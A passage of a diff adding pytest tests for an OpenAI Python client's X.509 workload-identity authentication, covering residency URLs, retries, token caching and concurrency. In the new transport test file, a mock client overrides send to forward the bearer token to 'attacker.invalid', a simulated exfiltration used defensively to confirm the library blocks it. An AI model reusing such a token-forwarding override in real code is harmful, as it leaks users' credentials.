+ client_type: type[OpenAI] | type[AsyncOpenAI],
+) -> None:
+ client = client_type(provider=bedrock(region="us-east-1", api_key="bedrock-token"))
+ copied = client.with_options(provider=None, workload_identity=_identity(), data_residency="eu")
+ assert str(copied.base_url) == _REGIONAL_MTLS_URLS["eu"]
+
+
+@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI])
+@pytest.mark.parametrize("region", ["global", "us", "eu"])
+@pytest.mark.parametrize("base_url_mode", ["omitted", "none", "intermediate_none"])
+def test_switching_regional_api_key_client_to_x509_preserves_residency(
+ client_type: type[OpenAI] | type[AsyncOpenAI], region: str, base_url_mode: str
+) -> None:
+ original = client_type(api_key="original-api-key", data_residency=cast(Any, region))
+ if base_url_mode == "intermediate_none":
+ original = original.with_options(base_url=None)
+ copied = (
+ original.with_options(workload_identity=_identity(), base_url=None)
+ if base_url_mode == "none"
+ else original.with_options(workload_identity=_identity())
+ )
+ assert str(copied.base_url) == _REGIONAL_MTLS_URLS[region]
+ assert str(copied.with_options(timeout=1).base_url) == _REGIONAL_MTLS_URLS[region]
+
+
+@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI])
+@pytest.mark.parametrize("region", ["global", "us", "eu"])
+@pytest.mark.parametrize("base_url_mode", ["omitted", "none", "intermediate_none"])
+def test_switching_regional_x509_client_to_api_key_preserves_residency(
+ client_type: type[OpenAI] | type[AsyncOpenAI], region: str, base_url_mode: str
+) -> None:
+ original = client_type(workload_identity=_identity(), data_residency=cast(Any, region))
+ if base_url_mode == "intermediate_none":
+ original = original.with_options(base_url=None)
+ copied = (
+ original.with_options(api_key="replacement-api-key", base_url=None)
+ if base_url_mode == "none"
+ else original.with_options(api_key="replacement-api-key")
+ )
+ expected_host = "api.openai.com" if region == "global" else f"{region}.api.openai.com"
+ assert str(copied.base_url) == f"https://{expected_host}/v1/"
+ assert str(copied.with_options(timeout=1).base_url) == f"https://{expected_host}/v1/"
+
+
+@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI])
+def test_authentication_switch_preserves_explicit_custom_origin(
+ client_type: type[OpenAI] | type[AsyncOpenAI],
+) -> None:
+ original = client_type(api_key="original-api-key", base_url="https://private.example/v1")
+ copied = original.with_options(workload_identity=_identity())
+ assert str(copied.base_url) == "https://private.example/v1/"
+
+
+@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI])
+def test_x509_rejects_data_residency_without_a_confirmed_mtls_endpoint(
+ client_type: type[OpenAI] | type[AsyncOpenAI],
+) -> None:
+ with pytest.raises(OpenAIError, match="mTLS endpoint"):
+ client_type(workload_identity=_identity(), data_residency="ae")
+
+ client = client_type(workload_identity=_identity())
+ with pytest.raises(OpenAIError, match="mTLS endpoint"):
+ client.with_options(data_residency="ae")
+
+
+@pytest.mark.parametrize("headers", [{"x-should-retry": "false"}, {"retry-after-ms": "120001"}])
+def test_sync_x509_token_exchange_honors_server_retry_refusals(headers: dict[str, str]) -> None:
+ requests: list[httpx2.Request] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return httpx2.Response(503, request=request, headers=headers)
+
+ with OpenAI(
+ workload_identity=_identity(), http_client=httpx2.Client(transport=httpx2.MockTransport(handler)), max_retries=2
+ ) as client:
+ with pytest.raises(OpenAIError, match="503"):
+ client.models.list()
+
+ assert len(requests) == 1
+
+
+@pytest.mark.parametrize("headers", [{"x-should-retry": "false"}, {"retry-after-ms": "120001"}])
+async def test_async_x509_token_exchange_honors_server_retry_refusals(headers: dict[str, str]) -> None:
+ requests: list[httpx2.Request] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return httpx2.Response(503, request=request, headers=headers)
+
+ async with AsyncOpenAI(
+ workload_identity=_identity(),
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler)),
+ max_retries=2,
+ ) as client:
+ with pytest.raises(OpenAIError, match="503"):
+ await client.models.list()
+
+ assert len(requests) == 1
+
+
+def test_sync_x509_honors_millisecond_retry_delay(monkeypatch: pytest.MonkeyPatch) -> None:
+ delays: list[float] = []
+ attempts = 0
+ monkeypatch.setattr(x509_auth.time, "sleep", delays.append)
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal attempts
+ if str(request.url) == _TOKEN_URL:
+ attempts += 1
+ if attempts == 1:
+ return httpx2.Response(429, request=request, headers={"retry-after-ms": "250"})
+ return _response(request)
+
+ with OpenAI(
+ workload_identity=_identity(), http_client=httpx2.Client(transport=httpx2.MockTransport(handler))
+ ) as client:
+ assert client.models.list().object == "list"
+
+ assert delays == [0.25]
+
+
+async def test_async_x509_honors_millisecond_retry_delay(monkeypatch: pytest.MonkeyPatch) -> None:
+ delays: list[float] = []
+ attempts = 0
+
+ async def record_sleep(delay: float) -> None:
+ delays.append(delay)
+
+ monkeypatch.setattr(x509_auth.anyio, "sleep", record_sleep)
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal attempts
+ if str(request.url) == _TOKEN_URL:
+ attempts += 1
+ if attempts == 1:
+ return httpx2.Response(429, request=request, headers={"retry-after-ms": "250"})
+ return _response(request)
+
+ async with AsyncOpenAI(
+ workload_identity=_identity(), http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler))
+ ) as client:
+ assert (await client.models.list()).object == "list"
+
+ assert delays == [0.25]
+
+
+@pytest.mark.parametrize("status_code", [418, 425])
+def test_sync_x509_honors_explicit_server_retry_requests(monkeypatch: pytest.MonkeyPatch, status_code: int) -> None:
+ def no_sleep(_delay: float) -> None:
+ return None
+
+ monkeypatch.setattr(x509_auth.time, "sleep", no_sleep)
+ attempts = 0
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal attempts
+ if str(request.url) == _TOKEN_URL:
+ attempts += 1
+ if attempts == 1:
+ return httpx2.Response(status_code, request=request, headers={"x-should-retry": "true"})
+ return _response(request)
+
+ with OpenAI(
+ workload_identity=_identity(), http_client=httpx2.Client(transport=httpx2.MockTransport(handler))
+ ) as client:
+ assert client.models.list().object == "list"
+
+ assert attempts == 2
+
+
+@pytest.mark.parametrize("status_code", [418, 425])
+async def test_async_x509_honors_explicit_server_retry_requests(
+ monkeypatch: pytest.MonkeyPatch, status_code: int
+) -> None:
+ async def no_sleep(_delay: float) -> None:
+ return None
+
+ monkeypatch.setattr(x509_auth.anyio, "sleep", no_sleep)
+ attempts = 0
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal attempts
+ if str(request.url) == _TOKEN_URL:
+ attempts += 1
+ if attempts == 1:
+ return httpx2.Response(status_code, request=request, headers={"x-should-retry": "true"})
+ return _response(request)
+
+ async with AsyncOpenAI(
+ workload_identity=_identity(), http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler))
+ ) as client:
+ assert (await client.models.list()).object == "list"
+
+ assert attempts == 2
+
+
+def test_sync_x509_client_copies_keep_authentication_caches_independent() -> None:
+ requests: list[httpx2.Request] = []
+ http_client = httpx2.Client(transport=httpx2.MockTransport(lambda request: _record(requests, request)))
+
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ client.models.list()
+ copied = client.with_options(timeout=1)
+ sibling = client.with_options(timeout=2)
+ assert client._workload_identity_auth is not None
+ assert copied._workload_identity_auth is not None
+ assert sibling._workload_identity_auth is not None
+ assert copied._workload_identity_auth is not client._workload_identity_auth
+ assert sibling._workload_identity_auth is not client._workload_identity_auth
+ assert sibling._workload_identity_auth is not copied._workload_identity_auth
+ copied.models.list()
+ sibling.models.list()
+
+ copied._workload_identity_auth.invalidate_token("access-token")
+ assert copied._workload_identity_auth._cached_token is None
+ assert client._workload_identity_auth._cached_token == "access-token"
+ assert sibling._workload_identity_auth._cached_token == "access-token"
+ copied.models.list()
+
+ changed_identity = x509_workload_identity(identity_provider_id="other", service_account_id="svc_example")
+ client.with_options(workload_identity=changed_identity).models.list()
+
+ exchanges = [request for request in requests if str(request.url) == _TOKEN_URL]
+ assert len(exchanges) == 5
+
+
+async def test_async_x509_client_copies_keep_authentication_caches_independent() -> None:
+ requests: list[httpx2.Request] = []
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(lambda request: _record(requests, request)))
+
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ await client.models.list()
+ copied = client.with_options(timeout=1)
+ sibling = client.with_options(timeout=2)
+ assert client._workload_identity_auth is not None
+ assert copied._workload_identity_auth is not None
+ assert sibling._workload_identity_auth is not None
+ assert copied._workload_identity_auth is not client._workload_identity_auth
+ assert sibling._workload_identity_auth is not client._workload_identity_auth
+ assert sibling._workload_identity_auth is not copied._workload_identity_auth
+ await copied.models.list()
+ await sibling.models.list()
+
+ copied._workload_identity_auth.invalidate_token("access-token")
+ assert copied._workload_identity_auth._cached_token is None
+ assert client._workload_identity_auth._cached_token == "access-token"
+ assert sibling._workload_identity_auth._cached_token == "access-token"
+ await copied.models.list()
+
+ changed_identity = x509_workload_identity(identity_provider_id="other", service_account_id="svc_example")
+ await client.with_options(workload_identity=changed_identity).models.list()
+
+ exchanges = [request for request in requests if str(request.url) == _TOKEN_URL]
+ assert len(exchanges) == 5
+
+
+@pytest.mark.parametrize("requestless", [False, True])
+def test_sync_x509_uses_unexpired_token_when_proactive_refresh_temporarily_fails(requestless: bool) -> None:
+ requests: list[httpx2.Request] = []
+ exchange_count = 0
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal exchange_count
+ requests.append(request)
+ if str(request.url) == _TOKEN_URL:
+ exchange_count += 1
+ if exchange_count > 1:
+ if requestless:
+ raise _RequestlessConnectError("temporary failure")
+ raise httpx2.ConnectError("temporary failure", request=request)
+ return _response(request)
+
+ with OpenAI(
+ workload_identity=_identity(), http_client=httpx2.Client(transport=httpx2.MockTransport(handler)), max_retries=0
+ ) as client:
+ client.models.list()
+ assert client._workload_identity_auth is not None
+ client._workload_identity_auth._cached_token_refresh_at_monotonic = time.monotonic() - 1
+ assert client.models.list().object == "list"
+ client._workload_identity_auth._cached_token_expires_at_monotonic = time.monotonic() - 1
+ with pytest.raises(APIConnectionError):
+ client.models.list()
+
+
+@pytest.mark.parametrize("requestless", [False, True])
+async def test_async_x509_uses_unexpired_token_when_proactive_refresh_temporarily_fails(requestless: bool) -> None:
+ requests: list[httpx2.Request] = []
+ exchange_count = 0
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal exchange_count
+ requests.append(request)
+ if str(request.url) == _TOKEN_URL:
+ exchange_count += 1
+ if exchange_count > 1:
+ if requestless:
+ raise _RequestlessConnectError("temporary failure")
+ raise httpx2.ConnectError("temporary failure", request=request)
+ return _response(request)
+
+ async with AsyncOpenAI(
+ workload_identity=_identity(),
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler)),
+ max_retries=0,
+ ) as client:
+ await client.models.list()
+ assert client._workload_identity_auth is not None
+ client._workload_identity_auth._cached_token_refresh_at_monotonic = time.monotonic() - 1
+ assert (await client.models.list()).object == "list"
+ client._workload_identity_auth._cached_token_expires_at_monotonic = time.monotonic() - 1
+ with pytest.raises(APIConnectionError):
+ await client.models.list()
+
+
+def test_sync_x509_shares_failed_proactive_refresh_across_concurrent_requests(
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ exchange_count = 0
+ count_lock = threading.Lock()
+ fallback_started = threading.Event()
+ release_fallback = threading.Event()
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal exchange_count
+ if str(request.url) == _TOKEN_URL:
+ with count_lock:
+ exchange_count += 1
+ current_count = exchange_count
+ if current_count > 1:
+ time.sleep(0.025)
+ raise httpx2.ConnectError("temporary failure", request=request)
+ return _response(request)
+
+ with OpenAI(
+ workload_identity=_identity(), http_client=httpx2.Client(transport=httpx2.MockTransport(handler)), max_retries=0
+ ) as client:
+ client.models.list()
+ auth = client._workload_identity_auth
+ assert isinstance(auth, x509_auth.SyncX509WorkloadIdentityAuth)
+ auth._cached_token_refresh_at_monotonic = time.monotonic() - 1
+ fallback = auth._usable_token_after_transient_failure
+
+ def delayed_fallback() -> str | None:
+ fallback_started.set()
+ assert release_fallback.wait(timeout=5)
+ return fallback()
+
+ monkeypatch.setattr(auth, "_usable_token_after_transient_failure", delayed_fallback)
+
+ with ThreadPoolExecutor(max_workers=6) as executor:
+ first = executor.submit(client.models.list)
+ assert fallback_started.wait(timeout=5)
+ waiters = [executor.submit(client.models.list) for _ in range(5)]
+ time.sleep(0.05)
+ release_fallback.set()
+ assert [result.result(timeout=5).object for result in [first, *waiters]] == ["list"] * 6
+
+ assert exchange_count == 2
+
+
+async def test_async_x509_shares_failed_proactive_refresh_across_concurrent_requests() -> None:
+ exchange_count = 0
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal exchange_count
+ if str(request.url) == _TOKEN_URL:
+ exchange_count += 1
+ if exchange_count > 1:
+ await asyncio.sleep(0.025)
+ raise httpx2.ConnectError("temporary failure", request=request)
+ return _response(request)
+
+ async with AsyncOpenAI(
+ workload_identity=_identity(),
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler)),
+ max_retries=0,
+ ) as client:
+ await client.models.list()
+ auth = client._workload_identity_auth
+ assert auth is not None
+ auth._cached_token_refresh_at_monotonic = time.monotonic() - 1
+
+ async def list_models() -> str:
+ return (await client.models.list()).object
+
+ assert await asyncio.gather(*(list_models() for _ in range(6))) == ["list"] * 6
+
+ assert exchange_count == 2
+
+
+@pytest.mark.parametrize(
+ ("status_code", "headers"),
+ [(429, {}), (500, {}), (503, {}), (418, {"x-should-retry": "true"}), (425, {"x-should-retry": "true"})],
+)
+def test_sync_x509_uses_unexpired_token_when_proactive_refresh_gets_transient_status(
+ monkeypatch: pytest.MonkeyPatch, status_code: int, headers: dict[str, str]
+) -> None:
+ def no_sleep(_delay: float) -> None:
+ return None
+
+ monkeypatch.setattr(x509_auth.time, "sleep", no_sleep)
+ exchange_count = 0
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal exchange_count
+ if str(request.url) == _TOKEN_URL:
+ exchange_count += 1
+ if exchange_count > 1:
+ return httpx2.Response(status_code, request=request, headers=headers)
+ return _response(request)
+
+ with OpenAI(
+ workload_identity=_identity(), http_client=httpx2.Client(transport=httpx2.MockTransport(handler)), max_retries=2
+ ) as client:
+ client.models.list()
+ assert client._workload_identity_auth is not None
+ client._workload_identity_auth._cached_token_refresh_at_monotonic = time.monotonic() - 1
+ assert client.models.list().object == "list"
+ client._workload_identity_auth._cached_token_expires_at_monotonic = time.monotonic() - 1
+ with pytest.raises(OpenAIError, match=str(status_code)):
+ client.models.list()
+
+
+@pytest.mark.parametrize(
+ ("status_code", "headers"),
+ [(429, {}), (500, {}), (503, {}), (418, {"x-should-retry": "true"}), (425, {"x-should-retry": "true"})],
+)
+async def test_async_x509_uses_unexpired_token_when_proactive_refresh_gets_transient_status(
+ monkeypatch: pytest.MonkeyPatch, status_code: int, headers: dict[str, str]
+) -> None:
+ async def no_sleep(_delay: float) -> None:
+ return None
+
+ monkeypatch.setattr(x509_auth.anyio, "sleep", no_sleep)
+ exchange_count = 0
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal exchange_count
+ if str(request.url) == _TOKEN_URL:
+ exchange_count += 1
+ if exchange_count > 1:
+ return httpx2.Response(status_code, request=request, headers=headers)
+ return _response(request)
+
+ async with AsyncOpenAI(
+ workload_identity=_identity(),
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler)),
+ max_retries=2,
+ ) as client:
+ await client.models.list()
+ assert client._workload_identity_auth is not None
+ client._workload_identity_auth._cached_token_refresh_at_monotonic = time.monotonic() - 1
+ assert (await client.models.list()).object == "list"
+ client._workload_identity_auth._cached_token_expires_at_monotonic = time.monotonic() - 1
+ with pytest.raises(OpenAIError, match=str(status_code)):
+ await client.models.list()
+
+
+@pytest.mark.parametrize("status_code", [400, 401, 403])
+@pytest.mark.parametrize("server_requests_retry", [False, True])
+def test_sync_x509_never_falls_back_after_permanent_oauth_rejection(
+ status_code: int, server_requests_retry: bool
+) -> None:
+ exchange_count = 0
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal exchange_count
+ if str(request.url) == _TOKEN_URL:
+ exchange_count += 1
+ if exchange_count > 1:
+ headers = {"x-should-retry": "true"} if server_requests_retry else {}
+ return httpx2.Response(status_code, request=request, headers=headers, json={"error": "invalid_grant"})
+ return _response(request)
+
+ with OpenAI(
+ workload_identity=_identity(), http_client=httpx2.Client(transport=httpx2.MockTransport(handler)), max_retries=0
+ ) as client:
+ client.models.list()
+ assert client._workload_identity_auth is not None
+ client._workload_identity_auth._cached_token_refresh_at_monotonic = time.monotonic() - 1
+ with pytest.raises(OAuthError):
+ client.models.list()
+
+
+@pytest.mark.parametrize("status_code", [400, 401, 403])
+@pytest.mark.parametrize("server_requests_retry", [False, True])
+async def test_async_x509_never_falls_back_after_permanent_oauth_rejection(
+ status_code: int, server_requests_retry: bool
+) -> None:
+ exchange_count = 0
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal exchange_count
+ if str(request.url) == _TOKEN_URL:
+ exchange_count += 1
+ if exchange_count > 1:
+ headers = {"x-should-retry": "true"} if server_requests_retry else {}
+ return httpx2.Response(status_code, request=request, headers=headers, json={"error": "invalid_grant"})
+ return _response(request)
+
+ async with AsyncOpenAI(
+ workload_identity=_identity(),
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler)),
+ max_retries=0,
+ ) as client:
+ await client.models.list()
+ assert client._workload_identity_auth is not None
+ client._workload_identity_auth._cached_token_refresh_at_monotonic = time.monotonic() - 1
+ with pytest.raises(OAuthError):
+ await client.models.list()
+
+
+@pytest.mark.parametrize("timeout", [0.125, 2.5])
+def test_sync_x509_token_exchange_uses_configured_timeout(timeout: float) -> None:
+ requests: list[httpx2.Request] = []
+ http_client = httpx2.Client(transport=httpx2.MockTransport(lambda request: _record(requests, request)))
+
+ with OpenAI(workload_identity=_identity(), http_client=http_client, timeout=timeout, max_retries=0) as client:
+ client.models.list()
+
+ assert requests[0].extensions["timeout"]["connect"] == timeout
+ assert requests[0].extensions["timeout"]["read"] == timeout
+
+
+@pytest.mark.parametrize("timeout", [0.125, 2.5])
+async def test_async_x509_token_exchange_uses_configured_timeout(timeout: float) -> None:
+ requests: list[httpx2.Request] = []
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(lambda request: _record(requests, request)))
+
+ async with AsyncOpenAI(
+ workload_identity=_identity(), http_client=http_client, timeout=timeout, max_retries=0
+ ) as client:
+ await client.models.list()
+
+ assert requests[0].extensions["timeout"]["connect"] == timeout
+ assert requests[0].extensions["timeout"]["read"] == timeout
+
+
+class _UnreadableSeekability(io.BytesIO):
+ @override
+ def seekable(self) -> bool:
+ raise io.UnsupportedOperation("seekability metadata unavailable")
+
+
+def test_sync_x509_still_sends_uploads_when_seekability_inspection_fails() -> None:
+ requests: list[httpx2.Request] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ if str(request.url) == _TOKEN_URL:
+ return _response(request)
+ return httpx2.Response(200, request=request, json={"id": "file_123", "object": "file"})
+
+ with OpenAI(
+ workload_identity=_identity(), http_client=httpx2.Client(transport=httpx2.MockTransport(handler)), max_retries=0
+ ) as client:
+ result = client.files.create(file=("payload.txt", _UnreadableSeekability(b"payload")), purpose="assistants")
+
+ assert result.id == "file_123"
+ assert len(requests) == 2
+
+
+async def test_async_x509_still_sends_uploads_when_seekability_inspection_fails() -> None:
+ requests: list[httpx2.Request] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ if str(request.url) == _TOKEN_URL:
+ return _response(request)
+ return httpx2.Response(200, request=request, json={"id": "file_123", "object": "file"})
+
+ async with AsyncOpenAI(
+ workload_identity=_identity(),
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler)),
+ max_retries=0,
+ ) as client:
+ result = await client.files.create(
+ file=("payload.txt", _UnreadableSeekability(b"payload")), purpose="assistants"
+ )
+
+ assert result.id == "file_123"
+ assert len(requests) == 2
+
+
+@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI])
+@pytest.mark.parametrize("field", ["identity_provider_id", "service_account_id"])
+@pytest.mark.parametrize("invalid", [True, 42, {"nested": "value"}, ["value"]])
+def test_x509_rejects_non_string_identity_identifiers(
+ client_type: type[OpenAI] | type[AsyncOpenAI], field: str, invalid: object
+) -> None:
+ identity = cast(X509WorkloadIdentity, {**_identity(), field: invalid})
+ with pytest.raises(OpenAIError, match="identity-provider and service-account IDs"):
+ client_type(workload_identity=identity)
+
+
+@pytest.mark.parametrize("replace_authorization", [False, True])
+@pytest.mark.parametrize("overlapping_tokens", [False, True])
+def test_sync_x509_pins_concurrent_reconstructed_requests_to_the_correct_identity(
+ replace_authorization: bool, overlapping_tokens: bool
+) -> None:
+ arrived = threading.Barrier(2)
+ tokens = (
+ {"one": "token", "two": "token.extended"} if overlapping_tokens else {"one": "token-one", "two": "token-two"}
+ )
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ if str(request.url) == _TOKEN_URL:
+ identity = json.loads(request.content)["identity_provider_id"]
+ return _response(request, token=tokens[identity.rsplit("-", 1)[-1]])
+ return _response(request)
+
+ def replace(request: httpx2.Request) -> None:
+ if replace_authorization and request.headers.get("Authorization") == f"Bearer {tokens['two']}":
+ request.headers["Authorization"] = f"Bearer {tokens['one']}"
+
+ class CrossThreadClient(httpx2.Client):
+ @override
+ def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response:
+ arrived.wait(timeout=5)
+ copied = httpx2.Request(request.method, request.url, headers=dict(request.headers))
+ with ThreadPoolExecutor(max_workers=1) as executor:
+ return executor.submit(super().send, copied, **kwargs).result()
+
+ transport = CrossThreadClient(transport=httpx2.MockTransport(handler), event_hooks={"request": [replace]})
+ clients = [
+ OpenAI(
+ workload_identity=x509_workload_identity(identity_provider_id=f"idp-{suffix}", service_account_id="svc"),
+ http_client=transport,
+ max_retries=0,
+ )
+ for suffix in ("one", "two")
+ ]
+
+ with ThreadPoolExecutor(max_workers=2) as executor:
+ requests = [executor.submit(client.models.list) for client in clients]
+ assert requests[0].result(timeout=5).object == "list"
+ if replace_authorization:
+ with pytest.raises(OpenAIError, match="authorization cannot be changed"):
+ requests[1].result(timeout=5)
+ else:
+ assert requests[1].result(timeout=5).object == "list"
+
+
+@pytest.mark.parametrize("replace_authorization", [False, True])
+@pytest.mark.parametrize("overlapping_tokens", [False, True])
+async def test_async_x509_pins_concurrent_reconstructed_requests_to_the_correct_identity(
+ replace_authorization: bool, overlapping_tokens: bool
+) -> None:
+ arrived = 0
+ both_arrived = asyncio.Event()
+ tokens = (
+ {"one": "token", "two": "token.extended"} if overlapping_tokens else {"one": "token-one", "two": "token-two"}
+ )
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ if str(request.url) == _TOKEN_URL:
+ identity = json.loads(request.content)["identity_provider_id"]
+ return _response(request, token=tokens[identity.rsplit("-", 1)[-1]])
+ return _response(request)
+
+ async def replace(request: httpx2.Request) -> None:
+ if replace_authorization and request.headers.get("Authorization") == f"Bearer {tokens['two']}":
+ request.headers["Authorization"] = f"Bearer {tokens['one']}"
+
+ class CrossContextClient(httpx2.AsyncClient):
+ @override
+ async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response:
+ nonlocal arrived
+ arrived += 1
+ if arrived == 2:
+ both_arrived.set()
+ await asyncio.wait_for(both_arrived.wait(), timeout=5)
+ copied = httpx2.Request(request.method, request.url, headers=dict(request.headers))
+ return await Context().run(asyncio.create_task, super().send(copied, **kwargs))
+
+ transport = CrossContextClient(transport=httpx2.MockTransport(handler), event_hooks={"request": [replace]})
+ clients = [
+ AsyncOpenAI(
+ workload_identity=x509_workload_identity(identity_provider_id=f"idp-{suffix}", service_account_id="svc"),
+ http_client=transport,
+ max_retries=0,
+ )
+ for suffix in ("one", "two")
+ ]
+
+ responses = await asyncio.gather(*(client.models.list() for client in clients), return_exceptions=True)
+ first = responses[0]
+ assert not isinstance(first, BaseException)
+ assert first.object == "list"
+ if replace_authorization:
+ assert isinstance(responses[1], OpenAIError)
+ assert "authorization cannot be changed" in str(responses[1])
+ else:
+ second = responses[1]
+ assert not isinstance(second, BaseException)
+ assert second.object == "list"
+
+
+def _record(requests: list[httpx2.Request], request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return _response(request)
diff --git a/tests/test_x509_workload_identity_transport.py b/tests/test_x509_workload_identity_transport.py
new file mode 100644
index 0000000000..58944231cd
--- /dev/null
+++ b/tests/test_x509_workload_identity_transport.py
@@ -0,0 +1,422 @@
+from __future__ import annotations
+
+from typing import Any
+from typing_extensions import override
+
+import httpx2
+import pytest
+
+from openai import OpenAI, AsyncOpenAI, OpenAIError
+from openai.auth import X509WorkloadIdentity, x509_workload_identity
+
+_TOKEN_URL = "https://mtls.auth.openai.com/oauth/token"
+
+
+_API_URL = "https://mtls.api.openai.com/v1/models"
+
+
+def _identity() -> X509WorkloadIdentity:
+ return x509_workload_identity(identity_provider_id="idp_example", service_account_id="svc_example")
+
+
+def _response(request: httpx2.Request) -> httpx2.Response:
+ if str(request.url) == _TOKEN_URL:
+ return httpx2.Response(200, request=request, json={"access_token": "access-token", "expires_in": 3600})
+ return httpx2.Response(200, request=request, json={"object": "list", "data": []})
+
+
+def _record(requests: list[httpx2.Request], request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return _response(request)
+
+
+@pytest.mark.parametrize("credential_location", ["path", "nested_body"])
+def test_sync_x509_never_exposes_protected_dispatch_to_custom_send(credential_location: str) -> None:
+ requests: list[httpx2.Request] = []
+ custom_sends: list[httpx2.Request] = []
+
+ class ReconstructingClient(httpx2.Client):
+ @override
+ def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response:
+ custom_sends.append(request)
+ if request.url.host == "mtls.api.openai.com":
+ token = request.headers["Authorization"].removeprefix("Bearer ")
+ url = (
+ f"https://attacker.invalid/{token}" if credential_location == "path" else "https://attacker.invalid"
+ )
+ content = token.replace("-", "%252D").encode() if credential_location == "nested_body" else None
+ return self.send(httpx2.Request("POST", url, content=content), **kwargs)
+ return super().send(request, **kwargs)
+
+ transport = ReconstructingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request)))
+ with OpenAI(workload_identity=_identity(), http_client=transport, max_retries=0) as client:
+ assert client.models.list().object == "list"
+
+ assert custom_sends == []
+ assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL]
+
+
+@pytest.mark.parametrize("credential_location", ["path", "nested_body"])
+async def test_async_x509_never_exposes_protected_dispatch_to_custom_send(credential_location: str) -> None:
+ requests: list[httpx2.Request] = []
+ custom_sends: list[httpx2.Request] = []
+
+ class ReconstructingClient(httpx2.AsyncClient):
+ @override
+ async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response:
+ custom_sends.append(request)
+ if request.url.host == "mtls.api.openai.com":
+ token = request.headers["Authorization"].removeprefix("Bearer ")
+ url = (
+ f"https://attacker.invalid/{token}" if credential_location == "path" else "https://attacker.invalid"
+ )
+ content = token.replace("-", "%252D").encode() if credential_location == "nested_body" else None
+ return await self.send(httpx2.Request("POST", url, content=content), **kwargs)
+ return await super().send(request, **kwargs)
+
+ transport = ReconstructingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request)))
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=transport, max_retries=0) as client:
+ assert (await client.models.list()).object == "list"
+
+ assert custom_sends == []
+ assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL]
+
+
+def test_sync_x509_does_not_install_process_wide_dispatch_guards() -> None:
+ requests: list[httpx2.Request] = []
+ original_dispatch = httpx2.Client._send_single_request
+
+ def hook(request: httpx2.Request) -> None:
+ if request.url.host == "mtls.api.openai.com":
+ assert httpx2.Client._send_single_request is original_dispatch
+ assert transport.post("https://telemetry.example/collect", content=b"%41" * 1024).status_code == 200
+
+ transport = httpx2.Client(
+ transport=httpx2.MockTransport(lambda request: _record(requests, request)), event_hooks={"request": [hook]}
+ )
+ with OpenAI(workload_identity=_identity(), http_client=transport, max_retries=0) as client:
+ assert client.models.list().object == "list"
+
+ assert httpx2.Client._send_single_request is original_dispatch
+ assert [request.url.host for request in requests] == [
+ "mtls.auth.openai.com",
+ "telemetry.example",
+ "mtls.api.openai.com",
+ ]
+
+
+async def test_async_x509_does_not_install_process_wide_dispatch_guards() -> None:
+ requests: list[httpx2.Request] = []
+ original_dispatch = httpx2.AsyncClient._send_single_request
+
+ async def hook(request: httpx2.Request) -> None:
+ if request.url.host == "mtls.api.openai.com":
+ assert httpx2.AsyncClient._send_single_request is original_dispatch
+ assert (await transport.post("https://telemetry.example/collect", content=b"%41" * 1024)).status_code == 200
+
+ transport = httpx2.AsyncClient(
+ transport=httpx2.MockTransport(lambda request: _record(requests, request)), event_hooks={"request": [hook]}
+ )
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=transport, max_retries=0) as client:
+ assert (await client.models.list()).object == "list"
+
+ assert httpx2.AsyncClient._send_single_request is original_dispatch
+ assert [request.url.host for request in requests] == [
+ "mtls.auth.openai.com",
+ "telemetry.example",
+ "mtls.api.openai.com",
+ ]
+
+
+def test_sync_x509_preserves_explicit_sni_for_custom_origins() -> None:
+ requests: list[httpx2.Request] = []
+
+ def hook(request: httpx2.Request) -> None:
+ request.extensions["sni_hostname"] = "private-pki.example"
+
+ transport = httpx2.Client(
+ transport=httpx2.MockTransport(lambda request: _record(requests, request)), event_hooks={"request": [hook]}
+ )
+ with OpenAI(
